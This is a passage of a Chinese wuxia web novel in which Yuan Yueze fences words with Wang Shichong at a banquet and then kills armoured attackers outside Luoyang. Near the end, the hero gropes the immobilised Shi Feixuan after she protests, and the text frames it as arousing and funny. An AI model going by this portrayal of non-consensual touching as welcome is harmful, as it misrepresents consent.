细雨绵绵,整个洛阳城都陷进白茫茫的一片里,有种既诗意又不大真实的况味。
元越泽告别家中诸女,独自一人赶往西苑方向。
一路上与之打招呼的行人有许多,元越泽更可隐约听到背后甚远处的怪异目光及窃窃私语的议论声。
渐渐地,元越泽亦听明白了几件事。第一,元越泽因抢人一事而被称为洛阳第一恶霸。说在百姓口中,元越泽听起来很是舒服,因为众人议论的语气中皆带着赞赏,可见独孤阀在洛阳内的名声之臭。第二,竟然有人在背后唤元越泽魔门‘邪皇’,这叫元越泽心头一凛。本来这称呼也只是他随口说说而已,更重要的是只当着了空,师妃暄,婠婠三人说的。而一夜后就有百姓知道这件事了,那说明了什么?说明定是在场另外三人透露的消息,甚至还有可能是故意散播。
元越泽终于明白了为何百姓看他时会有一种怪异的感觉,因为他们似是为元越泽坠入魔道而不值,又似是对他开始敬畏疏远起来。
是师妃暄还是婠婠害我?师妃暄的可能性要大一些!但婠婠这丫头总吃元越泽的亏,昨日拿那该死的戒指害了元越泽一把,只赢这一次就把从前输的全赢了回来。元越泽还是太小看她了。
魔门又如何?我今天起就是魔门中人了!
元越泽内劲轻鼓,雨点在沾湿衣角毫厘处即弹开。
烟雨茫茫,气氛凄迷的郊外大道上,元越泽从刚刚的思绪中抽出神来,继续思索该如何应付接下来的王世充。
终于,目的地已在不远方。
西苑是以积翠池为中心,配以各式庭院建筑的园林。此时雨势更是绵密,阴风刺骨,略带诡异之感,游人亦绝迹。
周围十余里的积翠池与烟雨浑和在一起,若天地般无边无际。
湖中叠石为山,其中三座高出水面百余尺,在茫茫雨粉里,若隐若现,仿似传说中被称为蓬莱、方丈、瀛洲的三座仙山。
最发人遐想的是这三座石山上均建有楼阁,曲桥相连,无限地加强了整个景象的深远感和空间感。
在湖北处有河道引水入湖,两岸院舍林立,堂殿楼阁,无不极尽华丽。
河道宽约若二十步,上跨飞桥。
元越泽已是第二次来到这里,烟雨中的西苑别有一番滋味,丝毫不比春和日丽时差。
湖光山色,飞泉瀑布,景致朦胧头带着如少女般娇羞的美态。
走上碎石小径,四十多丈开外的杨柳修竹间杂园林中走出一人。
正是与元越泽关系较为亲密的王世充手下大将,杨公卿。
温和的笑意伴着那有些不协调的尖嗓门,杨公卿拱手道:“元兄弟又来了,尚书大人着老夫在此恭候。”
过去几次打交道中,元越泽已大概得知杨公卿与王世充并不太合拍。元越泽心头失笑:杨公卿还是被王世充表面给迷惑了。
进得西苑的那一刻起,元越泽就必须时时刻刻提防,任何一个表情,任何一句话,都有可能是王世充安排下来对付元越泽的。
元越泽回礼后二人沿空无一人的小径继续前行。
沉默半晌,杨公卿声音低沉开口了,像是在对元越泽诉说,又像是在自言自语。但元越泽可以清楚的感觉到,杨公卿是以内力聚声成线,如不是高手,恐怕贴在耳侧也不一定会听得清。
“西苑方圆过百里,建筑金碧辉煌,园林比比皆是,奇花遍地,珍禽异兽数不胜数。杨广好大喜功,劳民伤财,聚无数百姓的血汗方建成此园。许多人眼中的西苑就是人间仙境,但真正体会其中所耗费的民力与财力的又有几人?”
元越泽只是默默听着,表情依旧淡然,淡淡道:“杨公的想法的确悲天悯人,昏君也终于归天了,总不能将这里摧毁或者废弃。”
杨公卿对于元越泽的言语也不发表看法,继续望着右侧的竹林叹道:“杨广也只是在位后期才如此而已,老夫以为杨广在施暴政以前,也算得上一位可以名留千古的好皇帝。再看杨广死后,风烟再起,单说杨侗这个傀儡皇帝,他能坐稳几天龙椅都没人能保证!更可笑的是,强大外敌环顾之时,洛阳内的斗争更是纷乱,你算计我,我算计你。为了一己私欲,口中说得天花乱坠,大义凛然,孰不知正是他们这些伪君子的存在,才导致百姓怨声载道。”
说到后面时,杨公卿明显语气急促,声调略为提高,似是火气奔涌的缘故。
元越泽面色虽仍未变,内心却在飞速运转,杨公卿这番话说得隐讳,其中表达出对王世充极其不满的意味。但元越泽绝非几句话就可以骗到的,只听他缓缓开口道:“杨公心情元某亦可了解,怎奈一人势力弱小,每个与杨公有同样心情的人都会以自己的方式去救助受苦之人。”
话语隐隐地打断杨公卿的思路。
杨公卿一愕,旋即轻笑道:“元兄弟所言甚是,元兄弟在洛阳城内的名声已是家喻户晓。但老夫以为这样始终不是办法。”
元越泽心头一冷,笑道:“杨公的意思是我这样施舍钱财始终救不了多少人对吗?不过元某本事就这么大,亦没其他办法,还是期盼如王尚书这般枭雄人物及早结束乱世吧!”
杨公卿阅人何其丰富,自然听得出元越泽语气中的虚情假意,脸上闪过一丝无奈的苦笑。
“至于说元某的名声,刚刚路上亦听闻不少。的确可称为‘家喻户晓’了。”
元越泽自嘲道。
杨公卿明白他所说的名声定是与强抢孤独凤一事有关,随即尴尬一笑,亦不知该如何接话,二人间再次恢复沉默。
步入王世充为元越泽安排的宴会厅时,大厅内只有几人在品茶恭候着。
王世充一脸意气风发的样子,端坐主座上查看着一个又一个纸条,想来上面所写的该是情报或者既定策略。
见到元越泽与杨公卿二人走进,王世充放下手中的纸条,快步迎了上来,满脸堆笑地走到元越泽身旁拉着他的手甚为亲昵地道:“公子三次接受王某邀请赴宴,羡煞洛阳城中仰慕公子之人也!”
元越泽点头回礼,大笑道:“谁的面子都可以不给,但不能不给王尚书面子。”
王世充身后的王玄应心头大骂道:“真他娘的虚伪,爹请了你不下二十多次,还装什么豪爽?”
王玄应本就嫉妒元越泽,尤其上次宴会时见过卫贞贞,直让王玄应口水都流了一地。此时望向元越泽的眼神更是恶毒狠厉。
元越泽眼角都不扫他,环视一周后,发觉今日在场中人除了自己,全部都是王世充的人。
王玄应,王玄恕,张震周,宋蒙秋,郎奉,杨公卿这几人是前两次宴会就见过面的。而其他几人都是陌生面孔,其中竟然还有一位妙龄女子。
此女一袭白中略微带粉的宫纱,皮肤如雪似玉,白得异乎寻常,黑衣白肤,明艳夺目。她如玄丝的双眉飞扬入鬓,乌黑的秀发在顶上结了个美人髻,一撮刘海轻柔地覆在额上,眼角朝上倾斜高挑,美目深嵌在秀眉之下,满是好奇地盯着元越泽上下打量。最使人印象深刻是她挺直的鼻梁,与稍微高起的颧骨匹配得无可挑剔,傲气十足但又不失风姿清雅。两片洋溢着贵族气派的香唇带着一丝似笑非笑的动人神气。
宽窄合身的衣衫下,她苗条而玲珑浮凸的美好身段表露无遗,惹人遐想。
见元越泽眼神只在自己身上停留一瞬间便移开,少女眼中毫无不悦之色,还甜甜浅笑,露出一排整齐洁白的美丽牙齿。
王世充轻咳一声道:“这是甥女淑妮,想必公子在洛阳城这么久,该听过‘洛阳双艳’,说的就是她与荣老板的千斤荣姣姣小姐。”
元越泽微笑示意,其后王世充又为元越泽介绍其他几位亲族。
主座旁的丫鬟见王世充准备宴席了,便独自收拾好桌上纸条,放于一金盘上,施礼后退出。
路经元越泽身侧三尺处时,敞开的窗户突然吹来一股轻风,将纸片吹起,吓得丫鬟慌忙跪倒在地。
王世充一脸怒色,周围数人似是对这些纸条异常在意,皆手忙脚乱收拾起来。
“今日本就潮湿,为何窗户不关严实?”
王世充冷冷地对丫鬟道。
丫鬟吓得瑟瑟发抖,根本说不出话来。
元越泽心头长叹,嘴上笑道:“这位姑娘想必亦不是故意为之,尚书大人就不要计较了吧。”
王玄恕在元越泽斜后侧插嘴道:“是大哥说喜欢看外面的风雨,不许关窗户的。”
王玄应脸色狠厉,却有不敢说什么,忙手忙脚将纸片收集好后才道歉。
王玄恕开口瞬间,元越泽很自然回过头去看他,眼角瞥过地面上一张半边掉落出信封的纸条,隐约可见‘袭皇宫’三字。
心头虽然惊讶,元越泽脸色神情丝毫不变,在王世充呵斥丫鬟后,十来人步入宴会厅,围坐桌前。
互相敬酒数杯后,气氛热闹起来。
“公子长得真是好看呢!奴家亲眼见到才发觉传闻是真的。”
董淑妮被王世充安排坐在元越泽左侧,只见她一双大眼睛满是崇拜地盯着元越泽道。
元越泽对她说不上讨厌,但也绝对没什么好感,闻听她不带半分矜持的大胆话语,脸色略带尴尬地不知该如何回答时,王世充在一旁笑道:“小妮妮最崇拜公子这般顶天立地的大英雄了!”
大英雄?
元越泽心头暗笑:自己做过这些事,有哪件称得上是大英雄?当街调戏阴后被重创。强抢民女。只这两件事就足以让人背后笑话他了。
突然见到今日王世充意气风发的样子,元越泽心头逐渐明白了,王世充口中所说的大英雄称号,定是指杀掉晁公错一事。晁公错的修为,在当今天下人的认知中,可以算做是前十位的。元越泽简简单单几招就干掉他,生生震撼当时围攻者的心神。而众所周知,李密是王世充眼下最大的敌人,晁公错更是李密的一大助力。元越泽干掉晁公错,无疑去了李密一个臂膀,最终获利最大的便是王世充,无论他城府多深,都会难掩喜色,难怪他今日如此高兴。
王世充又面带愧色地开口道:“关于戒严令一事,还请公子责怪,王某受王薄及了空大师的压力,不得不施行。”
简单一句话,责任推卸得一干二净。又放低态度,使元越泽即便有责怪之心亦无法开口了。
元越泽想到此点,笑道:“尚书大人万勿如此。他们怀疑元某亦很正常,但‘平生不做亏心事,半夜不怕鬼敲门。’元某问心无愧,只是那晁公错气势咄咄逼人,元某本打算放他一马,结果他反偷袭于我,是以一怒之下干掉了他!不过晁公错并非弱手,元某本就未平复的伤势反倒加重,所谓‘有所得必有所失’,便是这个道理吧。”
王世充眼中飞快闪过一丝疑惑,垂下眼帘两息后便道:“公子的确是敢做敢当之人,师小姐今日已发出消息,和氏璧失窃一事的确与公子无关。”
元越泽与王世充勾心斗角,尔虞我诈,大逞心机。句句话中意思都不简单,让人根本无法相信到底有几分可信度。惟有穷尽办法,争取对方在一个疏忽下,才有可能打探到几句真实消息。
元越泽亦是继续诈伤,赴宴前,单美仙已嘱咐元越泽控制气血,将自己尽量弄得面色苍白,脚步不稳。至于能不能骗过王世充,那就难说了。
“今日又闻听城内传言公子是魔门‘邪皇’,真可恨,不知是谁散布此谣言,王某已差人出去打探。定不能让他们侮辱了公子的名声。”
王世充面露微怒,开口道。
元越泽轻笑道:“尚书大人有此心意,元某感激。不过元某的确是魔门‘邪皇’,并不是谣言。”
王世充热脸贴到冷屁股上,面色略带尴尬。周围的数个手下官员亦不自然起来。
外人眼中,魔门的名声已经臭得不行。众人皆没想到元越泽如此坦白的就承认了。而且魔门的‘邪帝’,‘邪王’都听说过,这‘邪皇’之称又有何来历呢?
众人心思急转,却也想不出个所以然来。
片刻后,王玄恕面色古怪道:“公子数日前与阴后曾……曾火拼一场,既然是同门,为何还会如此?”
元越泽调戏祝玉妍之事当然无法直接说出,就算元越泽不要脸,说话之人还得要脸面。
“二公子想来对魔门内部之事不甚了解,魔门就是‘强者为尊’的门派。元某伤了阴后的亲传弟子,又欲夺她数十年坐地稳稳当当地魔门至尊宝座,你说如果换了你,会容许元某平安的生活下去吗?”
元越泽对王玄恕解释道。
王玄恕与周围几人恍然大悟地点了点头。
元越泽见王世充面色虽平静,眼神最深处的疑惑却可略微感受地到,复又开口道:“元某其实是因缘际会下在山中得魔门邪极宗上代邪帝传功才有今日,而他老人家死后又将统一魔门的大任交给我,元某当然不想辜负他老人家的期望,奈何元某性子根本作不来这些事,可即便如此,元某的存在依然被阴后视为一个威胁。唉!”
元越泽话中真真假假,让王世充都分不清楚他到底哪句是假的。最重要的一点是,元越泽这一说法合情合理,即便不信,亦找不到什么理由。
“不过人算不如天算,元某对内子单美仙一见钟情。众位该知情到浓时,什么顾忌都会忘掉。师尊临终前告诫元某,定要终身保持童男之身方可继续使用魔力,可最终,元某还是没能做到……”
元越泽苦笑道。
这话一出,假的都已经变成真的了。
“公子不必如此,公子本就是性情中人,既然无心统一师门,又无心争强斗狠。武功就没必要追求有多强了。观公子现在的生活,老夫都有些羡慕啊!”
王世充似是完全相信了元越泽的话,开口叹道。
董淑妮亦媚笑道:“原来公子已失去了从前震动天下的功力,但现在看起来亦不是弱手。失去的该不多吧!”
元越泽苦笑一声:“元某的伤势一直未平复,阴后的天魔真气如腐蚀经脉血肉一般在元某体内乱窜,如要镇压下去,至少得花费一两年闭关才可以做得到。但元某又不敢轻易闭关,因为阴后的行事诡异,元某担心一旦闭关,她会找上我家门,拿我夫人们出气,如我夫人出了什么事,那元某可就要悔恨终生了。”
王世充笑道:“公子爱护妻子的名声在整个洛阳内都是出名的,的确是至情至性!”
言罢,眼角微不可察地对董淑妮使了个颜色。
董淑妮立即劝起酒来,柔媚又带弹性的身子更是时不时地与元越泽来个‘亲密接触’。
元越泽亦是来者不拒,最后更是主动挑拨起她来。
再说些无关紧要的话题,王世充突然道:“公子以为这西苑如何?”
元越泽一脸不懂的神色:“还好,就是有些劳民伤财了。”
王世充叹道:“昏君害了多少百姓啊,公子如不嫌弃,王某便将这西苑送予你如何?”
元越泽惊讶道:“这又是为何?元某在城南那里住得还是很好的哩。”
话虽如此说,元越泽内心暗忖王世充此举到底是何目的?现在西苑已经是他的私人财产了?可以随手送人?
王世充听出元越泽拒绝之意,只是笑了笑,并未真正回答。
其后你来我往,气氛表面热烈,实则凶险无比。你试探我,我打听你。最终双方都似有些累了,因为二人皆不知对方底细,所以斗起智慧来,比平时要更伤脑子。
一个时辰的宴会结束,在王世充的刻意安排下,董淑妮独自送元越泽出府。二人有一句没一句的互相聊着。元越泽已可肯定董淑妮定是王世充安排来以美人计对付自己的。
董淑妮姿色一点儿都不比独孤凤差,既然元越泽连独孤凤都抢,那就更没理由丢下董淑妮这种绝色了。
这只是王世充一厢情愿的想法。
细雨不知何时已停。
望着元越泽远去的轩梧背影,董淑妮眼神有些迷茫:这人的性格好怪,一时热,一时冷,让人有种抓心挠肝的感觉,却偏偏异常想去更深一步了解他。
一边思索着王世充此次宴请自己的真实意图,元越泽脚下不停,朝东南方向自己家奔去。
还未至南城门外,元越泽便察觉到许多股强弱不一的真气的涌动,似是有规模的战斗。
全力运气真气,只半盏茶不到,前方已隐约可见模糊的几十条人影混战在一起。
元越泽目光如炬,只一打量,便认出起中的三人,正是婠婠,师妃暄,另外一个居然是一头金发的嘎多!
地上更是有十几具死尸。
场中分两波打斗,婠婠与嘎多二人被至少二十人围攻。而师妃暄则只被七,八个人围攻而已。师妃暄的身旁,是一年约二十许间,身形魁梧修-长,手执一把折扇的青年男子。英俊的面孔上,流露出温文尔雅地儒生之气,双眸亮若星光,绽放着精气内敛的光华。此时似是被围攻几人的威势所影响,脸上平添几分狠辣之色,却也更有魅力。
师妃暄的剑法极具道家至理,剑势中更是包含着无穷奥妙,剑势每每划过优美的曲线,引得周围几人全身仿佛失去平衡一般扭动。
那陌生男子则是一手扇功极其飘洒自如,潇洒魄力,变化万千中暗藏狠猛刁奇,凌厉凶险的杀招,美得紧,亦诡得紧!更令人赞赏的是他的轻功身法,腾挪中好似带起无数个似真似幻的人影,让人啧啧称奇。
婠婠的大天魔场亦在另一侧聚气吐纳,一双纤臂玉手高速回旋挥动,浓厚的黑色气团又双手间狂涌卷出,如可遮天蔽日的巨大黑洞散发着丝丝森寒之气,硬挡身前的强猛攻击。
嘎多一人独挡十几人,衣衫凌乱不堪,招式简单朴实,却威力无边。
师妃暄与那陌生男子应付起对手来看似不太难。而婠婠与嘎多二人则是逐渐手忙脚乱,婠婠身上的衣衫更是被划破数道,血迹隐约可见。
为何更婠婠与师妃暄的功力高绝,在有强大助力的情况下仍然无法占据上风?那是因为元越泽已认出围攻的这些人,竟然是从前见过的乌金战将!
婠婠与师妃暄依靠自身修为与精神攻击方可勉强与对方抗衡,战局中的浓厚邪气与鬼魂幻想让元越泽瞬间联想起大明圣尊!
“丫头!”
无暇再多想,元越泽大吼一声,化做一道流光直射婠婠与嘎多二人的战圈中。
受元越泽这一声怒吼影响,婠婠,嘎多,师妃暄及那陌生男子几乎都挺顿片刻,望向元越泽。但周围的乌金战将们似是充耳不闻,招式更显狠毒。
婠婠本是俏脸含煞,突闻元越泽的吼叫,顺着声音一瞥,小脸上的喜色再也遮掩不住。嘎多似乎是在时刻注意婠婠,见到婠婠表情,眼中不禁闪过一丝黯淡。
只是一个走神的当儿,就足以致命!
婠婠察觉到数道刀光剑影已经胁迫过来,而自己反应已经来不及了!
心头正在暗叫时,元越泽已如雷霆一般硬挡在自己面前,婠婠心情略显激动,微颤地望着元越泽。
“铛铛铛!”
一连串儿的清脆声音响过,誓要击杀婠婠的六人皆被震退,元越泽竟然也连退三步!
来不及解释什么,元越泽大喝一声:“你们全给我退开!”
婠婠与嘎多气息已经紊乱,眼下更不是争风头的时候,嘎多似是极其冷静,强拉怒气冲冲的婠婠跃后十数丈。
师妃暄那边,元越泽才懒得理,你爱死爱活,与我有何关系?
战斗地点距离南城门足有小半里,更有胆子大的好事之人在远处看热闹。
“哇!元大少来了!英雄救美了!”
“我的娘呀!那些人才是真正的高手吧!”
对这些乌金战将的来历及目的都不清楚的元越泽已目光冰冷,虽不知他们为何偷袭婠婠与师妃暄,却瞬间想起他们与宇文阀的勾当,更是想起了他们打伤云玉真之事。今日更在自己眼前伤了婠婠。元越泽怒火中烧。
但他依然瞬间平复下来,否则他的实力会因心境失守而大打折扣。
元越泽乍入战圈,围攻的十几人竟仿佛心有灵犀一般狂猛压向元越泽。
抢占先机的乌金战将们,五花八门的刀剑招式全部招呼在元越泽身上,身前的两人算是其中功夫最高的,二人双刀狂抡,看似杂乱无章却招招皆奔要害。元越泽长剑已出鞘,剑尖抖动处,若隐若现的剑网顿生,罩住周身上下,以静制动,以繁破繁.一连串金铁交击声过后,元越泽后错一步,而看似是其中首领的大汉瓮声瓮气地喊了句:“起阵!”
另一侧围攻师妃暄的数人立即撇下二人不顾,围上元越泽。
十丈外的师妃暄与那陌生男子缓缓平复着气息,却又莫名其妙地看着近三十人围攻元越泽这一画面。
大阵显然是对方经过长时间磨合而成,只看其中所站方位,角度及默契程度便可知一二,本来分散战斗时那种若有若无的阴邪鬼魂气息竟然强烈了数倍,阴风刺骨,怨气冲天。
这种邪气,对此时的元越泽已不会产生任何扰乱心境的效果。
猛然间,所有人眼中的元越泽消失不见。
眨眼后,元越泽如凭空变戏法一般出现在二十几人前半尺处,在二十几人尚未分散开发动攻势前抢先出手。
右手腕如鲜花绽放般连续旋转,一团极具天地美态的涡轮形剑花出现在二十几人眼前。诡异的是,剑身疾速舞动中,竟然不发出半丝与空气摩擦的声响。
二十几人顿觉花蕊处一片漆黑与幽深,内里仿佛宇宙星空一般广阔无垠。
异变突起。
花蕊处猛然间捣出破空一拳,拳速慢得令人心烦,却又好似在行进间伸缩不定,更像是在左右摇摆,以神妙至不可思议的角度向不同方位击出。拳中所含力道宛若将花蕊内的宇宙力量全部抽干一般,任何人都会生出心跳沉闷,无法抵抗的颓乏感。
看似缓慢,实则快过疾电的一拳终于现出了它的全形。
在这势可破天,力可碎地,洞穿玄黄的一拳前,二十几人气势,心境一低再低,只能盲目地用尽全力自守。
叮叮当当巨响之声不绝于耳。
电光石火间,围攻的二十多人中只有七人依旧可以无恙站立。其他人早已碎尸当场,元越泽已经察觉不到他们的任何气息。
元越泽显然明白到这七人就是这群人中最强的,眼下他们虽然身带许多浅浅的伤口,却不流一丝血迹,面部表情更好像完全感觉不到痛楚一般有秩序地伫立元越泽前方不远处。
这一情景,让元越泽不期然地想起狂雷。
但他们的真气气息却有很细微的差别。
剩余七人已经无法组成大阵,要对付元越泽,必须将力量集中到一点。
他们再清楚不过了。
元越泽当然也想得到。
尚在元越泽思索狂雷之事时,七人就已经抢身扑来,手中刀剑各自幻化出不同势道,发出嗤嗤的破风之声,再度袭向元越泽。
气机感应下,元越泽清楚察觉到这七人每一个的修为都不低,他们的攻势看似是铺天盖地,实际上力量全部集中在元越泽前方一个方圆一尺多的小空间内。
这便是弈剑术的精髓。
元越泽在那一瞬间有些头痛,这些人来历不明,打探又毫无消息,嘴巴死活也撬不开,却在暗中不停地与自己作对。元越泽这一刻心头第一次泛起一种无奈的感觉。
电光石火间,七人联合,强大的攻势已逼到元越泽身前。
元越泽眯起双目,瞳孔猛然一缩,随即瞪起双眼,瞳孔随之扩大,眼眸中神光暴射。长剑翻飞中,如天马行空般沿某种语言无法形容的玄异轨迹划出七道随意的剑痕。
除元越泽外的所有人眼中满是讶色。
并不是因为元越泽再次消失在他们眼前,而是元越泽所站的位置上,出现了一个如虚似真的抱剑女子的身影。
情景说不出的怪异,叫人只觉不可思议。
抱剑女子的淡淡形象一现即逝,站在那里的还是元越泽。
那种视觉上的错觉,如真似幻,缥缥缈缈,只教众人心头惊骇不已。
七道剑痕好似有生命与预知能力一样,将他们掩饰真实意图的漫天影像行进路线全部封死。
这种眨眼即逝的生死搏斗中,根本不可能有变招的机会。他们惟一能做的就是将全部气机,力道融入一尺多的圆形空间内,意图与元越泽拼个你死我活。
元越泽嘴角立时逸出一丝笑意。
七道剑痕早已失去它们的作用,元越泽手腕连续作出玄奥精奇至超乎任何形容的玄妙动作,长剑明明翻飞跳跃,刺出时,却只有一剑。
大巧若拙的一剑,不变之中寓万变的一剑。
剑尖所刺的,正是那个气机罡球的中心最强一点。
剑声烈啸,杀气奔腾。
人如流水,剑若精钢。
一声如闷雷般让人气血翻腾的声响过后,惨号之声接连响起。
脸色略显苍白的元越泽浑然忘我,似是在回味刚刚这一招。时间不知过了多久,他突然被一声轻微的呻吟声唤醒,低头望去,地上几乎都是尸体与残肢断臂,唯一一个还有气的人已经是气若游丝地跪坐在那里,脸色麻木,眼神空洞地望向身前一丈处的元越泽。
元越泽踏前一步,正欲结果他时,突然闻听后方传来一句大喝:“住手!”
随着声音望去,原来是师妃暄与那陌生男子站立的方向,那陌生男子似是不知为何已昏睡过去,而师妃暄的咽喉亦被一个乌金战将死死扣住。
婠婠与嘎多本就是同师妃暄二人站立在不同方位。元越泽眼见师妃暄被擒,第一反应是望向婠婠,却见嘎多身前多了一具尸体,想来该是要去擒婠婠要挟元越泽之人。
元越泽只是淡淡地打量了一眼擒住师妃暄之人,心里却在暗想这些人果然不简单,居然可以无声无息地分出两人擒拿二女作为最后的保险措施。
但他们的如意算盘显然打错了。
元越泽理也不理师妃暄被擒之事,长剑缓缓由仍然在呻吟的乌金战将百汇穴处插入,如厉鬼一般的凄厉惨叫接连响起,残酷得连远处的婠婠都有些无法忍受。
“我叫你住手呀!否则我立即毙了她!”
擒住师妃暄的人显然慌了,本以为女人会是元越泽最大的软肋,哪想得到他居然不理师妃暄这等美女的死活,残杀手法更好像是在示威一般!
整柄剑没入天灵盖,被元越泽折磨的人终于解脱了。上半身直直地被钉在地上。
随后疾拔长剑,望着那脑袋被破了个窟窿都不流一滴血的人,元越泽摇了摇头,转身轻笑一声:“你杀不杀她与我又有什么关系?况且你若杀她,我必将你浑身的肉一片片割下来!”
那乌金战将已是唯一存活之人,他的目的不过是想逃跑而已,否则以这些人不怕死的习惯,早上来与元越泽拼命了。
师妃暄一直面无表情,仿佛被擒拿的人不是她似的。但闻听元越泽此语,心头却没来由地涌起一股说不出的奇怪感觉,有些压抑,亦有些失落,甚至,还有些酸楚。
“我知你们嘴硬,什么都问不出来,你走吧,回去告诉你的主子,他派多少人来,都将全部死于我手!”
元越泽本就略显苍白的俊脸突然一片煞白,身形剧抖,以剑拄地支住身形,嘴角,鼻孔渗下鲜血。
那乌金战将一愣,随即大笑:“姓元的,你已是强弩之末,还来威吓老子?哈哈!”
眼角瞥见婠婠二人已经疾奔过来,乌金战将并不冒失地去取元越泽性命,而是一把将师妃暄推向元越泽方向,用以阻拦元越泽的追击,第一时间脚底抹油,两个起落间人影已不见。
师妃暄似是被刚刚的战局所吸引,否则又怎会轻易被人擒下?但其穴道被制,浑身提不起力气,顺着前冲之势软绵绵地扑向元越泽方向。
元越泽抬起右手,本欲以单掌支撑住她的肩膀。哪知她是正面飞向元越泽,元越泽扶向她香肩的手却没把握好方向,直按在那她左边那饱-满的玉-峰上。
二人皆是一呆,软绵绵,充满弹性地雪兔触碰到元越泽的大手,从未与异性有过如此亲密接触的师妃暄秀眉轻蹙,仙颜上飞起两朵红云,一股从未有过的异样感走遍全身,下意识地想退开,却苦于无法用力。
元越泽顺手揽住她的柳腰,覆在玉-峰上的手却情不自禁地用上力道,揉捏起来。
“公……公子,请……不要……”
师妃暄清冷神情不复,秀眸波光流转,粉面绯红,小嘴微张,娇喘急促,有气无力地道。
元越泽亦是察觉到目前这情景太过暧昧,连忙松开手,解开她的穴道。师妃暄俏脸上红晕未褪,第一时间跑去查看远处倒地那个陌生男子的伤势。不知她是害羞,还是为了避免尴尬。
这一过程虽然很快,但却被已奔过来的婠婠与嘎多看在眼里。
婠婠小嘴一撅,不高兴地抱上嘎多胳膊,似是在对元越泽挑衅。嘎多则有些受宠若惊,英俊的脸上带着些红晕,手足无措的傻笑后对元越泽挑起大拇指。
元越泽一见婠婠与嘎多的亲昵动作,眼中闪过一丝不满,看也不看婠婠,对嘎多点头示意后,朝师妃暄方向走去。
婠婠气得玉足狠狠跺地,二话不说,转身飞快离去。
大老远观战的百姓已经全被刚刚的打斗给震慑住了。大半天才恢复过来,议论再起。
“今日又开了眼界了!元公子好强!”
“但是他都吐血了,一定是伤上加伤。”
“哇!元大少刚刚那一手应该就是传闻中的佛门无上绝学吧!”
“什么绝学?”
“就是那一手《乳来伸掌》啊!”
“黑白两道的高手全被元大少给调戏了!先有阴后,今日有师仙子!啧啧!”……
下章预告:公主心乱
第044章 公主心乱
嘎多望着婠婠瞬间便已消失的倩影,心中升起一种莫名的惆怅。
呆望半晌,回过神来,走到元越泽与师妃暄,以及那陌生男子身旁坐下。
元越泽本不欲帮助师妃暄二人疗伤,怎奈心肠极软的他还是狠不下心。遂帮助二人逼出经脉内那股无头乱窜的邪异真气。
他自己体内元气亦消耗巨大,是以只能略微帮助师妃暄二人。
调息半晌,师妃暄与那陌生男子几乎同一时间睁开双眼,对视一眼,各自眼中皆有丝丝惊喜之色。
师妃暄盘坐拱手施礼:“多谢公子相助。”
语气中真气充沛盈足,完全已恢复八,九成功力。
“公子的伤势……”
师妃暄见元越泽只是微微颌首,突然想起元越泽刚刚吐血之事,便又问道。
元越泽只是微微笑了一下,转问那陌生男子:“如果元某所猜不错,兄台应该就是江湖人称‘多情公子’的侯希白吧!”
“希白小小名气哪能与元兄相比,元兄果然与传言中一般。”
陌生男子拱手笑道。
元越泽笑了笑,随即开口问道:“到底是怎么一回事,你们为何会在这里,又为何与那群怪人冲突起来?”
师妃暄答道:“今日本是受侯兄相邀,于雨后到郊外散步。妃暄在此等候侯兄时,恰好与婠婠姐相遇,没想到婠婠姐……”
她的话说得隐讳,元越泽稍一推敲,便知定是婠婠先动手的。
“其后我们交起手来,只几招后,这位兄台从城里奔来,出手欲止住我们,哪知这树林中突然窜出那些身着怪异盔甲之人,武功更是邪气异常,他们分成两波,目标似乎是婠婠姐与妃暄。还好侯兄及时到来,与这位公子大力相助,才不至于被擒下。后来元公子到来,使出那极具威力的剑招,妃暄注意力被吸引,却暗中被人偷袭,更强更邪的真气封死穴道,半分力气都提不起来。”
师妃暄指着嘎多开口讲道。
元越泽点了点头:“这群怪人三番五次地偷袭于我,只是不知道他们为何要偷袭你们?”
师妃暄讶道:“原来公子与他们见过?这些怪人的武功邪门,妃暄回想读过的师门典籍,却苦无半分头绪。”
元越泽心道这些暗中的势力连我都没有丝毫办法,他们只要不出来,不翻遍大地恐怕都找不到。
“这些人来历不明,如姑娘所言,武功更是邪门,只会偷袭,却让人无法摸索到他们的目的之所在。”
元越泽无力地叹道。
侯希白轻笑道:“原来天下还有元兄这等高人也应付不来的人与事。”
元越泽只他只是随口一说而已,也不介意:“元某也只有一对臂膀,一双腿脚而已。”
“嘎多兄,你我可谓不打不相识了,上次纯属误会,请勿放在心上。”
元越泽转头对嘎多开口道。
嘎多爽朗一笑:“不碍事,我自小就长在西域,这次来中原游玩,行事难免莽撞,元兄弟也请见谅。”
他腔调略显怪异,想必是对汉语不太精通的缘故,但用起词汇来却也算得上不错的了。
元越泽很是喜欢结交这等豪爽之人,当即也笑了笑,拱手道:“元某还有事,就此告辞。今日偷袭之人必不会罢休,侯兄与师姑娘以后各自小心了。”
他看得出嘎多的来历有些神秘,但此时并不方便询问,以嘎多的本事,并不怕那些乌金战将偷袭于他。
元越泽转身就要离开时,师妃暄突然开口道:“公子为何要放走一人?”
元越泽神秘一笑,并没答她。
这群人神神秘秘,元越泽如不借这个机会示弱,哪还有机会再引他们出来?不引他们出来如何进一步去挖掘属于他们的秘密?
这些话当然不能说给师妃暄听。
嘎多其后亦长身而起,与师妃暄二人告别,独自奔向婠婠离开的方向。
“侯兄以为他如何?会是魔门中人吗?‘邪皇’这个名头真的存在吗?”
师妃暄与侯希白望着逐渐消失的元越泽的背影,半晌后,师妃暄开口问道。
侯希白剑眉紧皱:“这元公子内力浩然精纯,却无一丝魔门的诡异气息。观其剑招亦深具道家之理。而且为人也是平和真诚,怎么看都不像是魔门中人。”
师妃暄也有些迷糊:“可妃暄亲眼见他带着‘圣光戒’,他亦亲口承认是魔门中人。妃暄只是从没听过那邪皇称号。”
侯希白笑道:“既是他承认,那就该是真事了,他一点儿都不像其他魔门中人,反倒是一身正气。至于那邪皇一说,可能自古就有吧,只是被人遗忘了。”
师妃暄点了点头,随后苦笑道:“虽然侯兄对此人很是欣赏。但有一点是他最像魔门中人的特点。就是他的眼神及话语里对妃暄师门极不喜欢,或者可以说是厌恶。”
侯希白有些惊讶,却又不知道该如何劝慰她。
师妃暄突然想起刚刚被元越泽那一招《乳来伸掌》所揉捏的玉-峰,身子登时不自在起来。尤其是那将元越泽揉捏自己所产生的异样感觉记录下来的挺秀玉-峰更是生出一股麻痒的电流传遍全身,师妃暄顿时红霞布满粉面。秀眸中流露出一股极其诱-人的妩媚神光。
侯希白与师妃暄认识许久了,连她的淡淡笑脸都没见过几次,从来都是止水无波的神情,哪里见过露出如此勾人魂魄的迷人姿态,侯希白登时看得眼珠子都要掉出来了。
